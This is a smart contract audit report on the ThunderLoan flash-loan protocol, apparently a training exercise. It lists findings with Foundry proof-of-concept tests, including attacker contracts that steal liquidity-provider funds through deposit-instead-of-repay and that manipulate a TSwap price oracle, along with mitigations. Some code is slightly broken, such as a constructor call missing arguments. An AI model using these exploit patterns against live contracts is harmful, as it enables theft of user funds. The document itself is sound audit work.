ThunderLoan Audit Report

Sodiq Adewole

November 4, 2024

Protocol Audit Report

Version 1.0

Sodiq Adewole

November 5, 2024

ThunderLoan Audit Report

Sodiq Adewole

November 4, 2024

Prepared by: Sodiq Adewole Lead Auditors: - Sodiq Adewole

Table of Contents

Protocol Summary

Protocol does X, Y, Z

Disclaimer

Sodiq Adewole makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

-Commit Hash: c0ec281c8f88c97b2073fb7058e173d211ba5f01

Scope

```
./src/
#--ThunderLoan.sol
#--ThunderLoanUpgraded.sol
```

Roles

Liquidity Provider: The provider of liquidity to the protocol User: The user that borrows the flashloan

Executive Summary

Issues found

Severity	Number Of Issues Found
High	3
Medium	2
Low	3
Gas	3
Info	4
Total	15

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes the protocol to think it has more money that it really does, which blocks redemption and incorrect sets the exchange rate

Description: In the ThunderLoan system, the `updateexchangeRate` is the responsible for calculating the exchange rate between the asset tokens and the underlying tokens. In a way, it's responsible for keeping track how many fee to gives to the liquidity providers.

However the `deposit` function, updates this rate, without collecting any fee! This update should be removed.

```
function deposit(
        IERC20 token,
        uint256 amount
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit-high we shouldn't be updating the exchange rate here.
    @>    uint256 calculatedFee = getCalculatedFee(token, amount);
    @> assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because it protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is not impossible for LP to redeem

Proof of code

Place the following into `ThunderLoan.t.sol`

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            amountToBorrow
        );

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(
            address(mockFlashLoanReceiver),
            tokenA,
            amountToBorrow,
            ""
        );
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(user);
        thunderLoan.redeem(tokenA, amountToRedeem);

    }
```

Recommended Mitigation: Remove the incorrectly `updateExchangeRate` line from the deposit function.

```
function deposit(
        IERC20 token,
        uint256 amount
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit-high we shouldn't be updating the exchange rate here.
-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay`, users can steal money from the protocol.

Description: If a user takes out a flashloan using the `ThunderLoan::flashloan` function, it is expected of the receiver address to repay the flashloan with the `ThunderLoan::repay` function. But it is possible to call the `ThunderLoan::deposit` which is meant for liquidity providers to repay the loan

Impact: This leads to stealing money of the liquidity providers.

Proof of Concept:

1. User takes out a flash loan
2. Instead of repaying the loan with the repay function, user used the deposit function.

PoC

Place the following test in ThunderLoan.t.sol

```
function testDepositInsteadOfRepayToStealFunds()
        public
        setAllowedToken
        hasDeposits
    {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint fee = thunderLoan.getCalculatedFee(IERC20(tokenA), amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);

        thunderLoan.flashloan(address(dor), IERC20(tokenA), amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();

         assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }


contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }
    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    ) external returns (bool) {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {

        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(IERC20(s_token), amount);

    }
}
```

Recommended Mitigation: restrict the deposit function to only the liquidity providers.

[H-3] Mixing up variable location causes storage collissions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protoccol.

Description: `ThunderLoan.sol` has two variables in the following order

```
  uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You can not adjust the position of storage variables, and removing storage variables for constant variables, breaks the location as well.

Impact: After the upgrade , the `s_flashLoanfee` will have the value of `s_feePrecision`. This means users who take out flash loans will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping will store in the wrong storage slot.

Proof of Concept:

PoC Place the following test into ThunderLoan.t.sol

```
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
.
.
.
.
.

  function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee Before is: ", feeBeforeUpgrade);
        console.log("Fee After is:", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);


    }
```

You can also see the difference of the storage of the two contracts by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: if you must remove the storage variable, leave it as blank as to no mess up the storage slots.

```
-  uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 s_blank;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attack

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

Impact: Liquidity providers will get drastically reduced fees for providing liquidity.

Proof of Concept: The following happens in one transaction 1. User takes a flash loan from ThunderLoan for 50 tokenA. They are charged the original fee fee1. During the flash loan, they do the following: i. user sells 1000 token A , tanking the price ii. Instead of repaying right away, the user takes out another flash loan for another 50 tokenA. Due to the fact that the way ThunderLoan calculates price based on the TSwapPool this second flash loan is substantially cheaper.

Proof of code

Place the following into `ThunderLoan.t.sol`

```
function testOracleManipulation() public {
        // 1. Setup contracts

        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));

        //2. Create a TSwap DEX between Weth and tokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        //2. Fund TSwap

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(
            100e18,
            100e18,
            100e18,
            block.timestamp
        );
        vm.stopPrank();
        // The ratio is 1:1 Which is one WETH is equal to Token A

        //3  Fund thunderLoan
        // set allow
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // Funding the thunderLoan.
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // Now we have 100 WETH and 100 TOKEN A in the TSwap
        // And 100 TOKEN A in the thunderLoan that we can borrow from

        //4. We are going to take two flashloans
        //        a. To nuke the price of Weth/TokenA on tswap
        //          b . To show that doing that greatly reduces the fees on thunderLoan.
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console.log("Normal fee cost", normalFeeCost);
        //  296147410319118389 --> 0.2961

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr =  new MaliciousFlashLoanReceiver(address(tswapPool)

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), IERC20(tokenA), amountToBorrow, "" );
        vm.stopPrank();

        uint256 attackFee =  flr.feeOne() + flr.feeTwo();

        console.log("Attack fee is: ", attackFee);

        assert(attackFee < normalFeeCost);


    }


contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
```

```
BuffMockTSwap tswapPool;
bool attacked;
uint256 public  feeOne;
uint256 public feeTwo;

constructor(
    address _tswapPool,
    address _thunderLoan,
    address _repayAddress
) {
    thunderLoan = ThunderLoan(_thunderLoan);
    repayAddress = _repayAddress;
    tswapPool = BuffMockTSwap(_tswapPool);
}

function executeOperation(
    address token,
    uint256 amount,
    uint256 fee,
    address /*initiator*/,
    bytes calldata /*params*/
) external returns (bool) {
    if (!attacked) {
        // .1 Swap TokenA borrowed for WETH
        // . 2. Take out another flash loan, to show the difference
        feeOne = fee;
        attacked = true;
        uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
            50e18,
            100e18,
            100e18
        );
        IERC20(token).approve(address(tswapPool), 50e18);
        // Which the tanks the price
        tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
            50e18,
            wethBought,
            block.timestamp
        );
        // we will need to call  a second flash loan
        thunderLoan.flashloan(address(this), IERC20(token), amount, "");
        //repay
        // IERC20(token).approve(address(thunderLoan), amount + fee);
        // thunderLoan.repay(IERC20(token), amount + fee);
        IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // //repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }

    // 1. Swap tokenA borrowed for WETH
    // 2 . Take out another flash loan, to show the difference
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

```
File: src/protocol/ThunderLoan.sol
223 : function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (Asset
261: function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

Low

[L-1] Empty function body - Consider commenting why

Description:

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner
```

[L-2] Initializers could be front-run

Description: Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer {

138:     function initialize(address tswapAddress) external initializer {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critical event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

Informational

[I-1] Poor Test Coverage

File	% Lines	% Statements	% Branches	% Funcs
script/DeployThunderLoan.s.sol	0.00% (0/4)	0.00% (0/5)	100.00% (0/0)	0.00% (0/1)
src/protocol/AssetToken.sol	82.35% (14/17)	85.00% (17/20)	33.33% (1/3)	88.89% (8/9)
src/protocol/OracleUpgradeable.sol	100.00% (6/6)	100.00% (9/9)	100.00% (0/0)	80.00% (4/5)
src/protocol/ThunderLoan.sol	76.81% (53/69)	80.72% (67/83)	18.18% (2/11)	82.35% (14/17)

File	% Lines	% Statements	% Branches	% Funcs
src/upgradedProtocol/ThunderLoanUpgraded.sol	2.99% (2/67)	2.47% (2/81)	0.00% (0/11)	12.50% (2/16)
test/mocks/BuffMockPoolFactory.sol	75.00% (9/12)	80.00% (12/15)	0.00% (0/1)	50.00% (2/4)
test/mocks/BuffMockTSwap.sol	29.17% (21/72)	28.42% (27/95)	0.00% (0/13)	36.36% (8/22)
test/mocks/ERC20Mock.sol	50.00% (1/2)	50.00% (1/2)	100.00% (0/0)	33.33% (1/3)
test/mocks/MockFlashLoanReceiver.sol	64.29% (9/14)	64.29% (9/14)	0.00% (0/2)	75.00% (3/4)
test/mocks/MockPoolFactory.sol	85.71% (6/7)	87.50% (7/8)	0.00% (0/1)	100.00% (2/2)
test/mocks/MockTSwapPool.sol	100.00% (1/1)	100.00% (1/1)	100.00% (0/0)	100.00% (1/1)
test/unit/BaseTest.t.sol	100.00% (8/8)	100.00% (8/8)	100.00% (0/0)	100.00% (1/1)
test/unit/ThunderLoanTest.t.sol	81.82% (18/22)	83.33% (20/24)	50.00% (1/2)	60.00% (3/5)
Total	49.17% (148/301)	49.32% (180/365)	9.09% (4/44)	54.44% (49/90)

[I-2] Not using ___gap[50] for future storage collision mitigation ### [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6 ### [I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156 Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[G-1] Using the bool for storage incurs overhead

Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning
```

[G-2] Using private rather than public for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves 3406-3606 gas in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[G-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of newExchangeRate.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```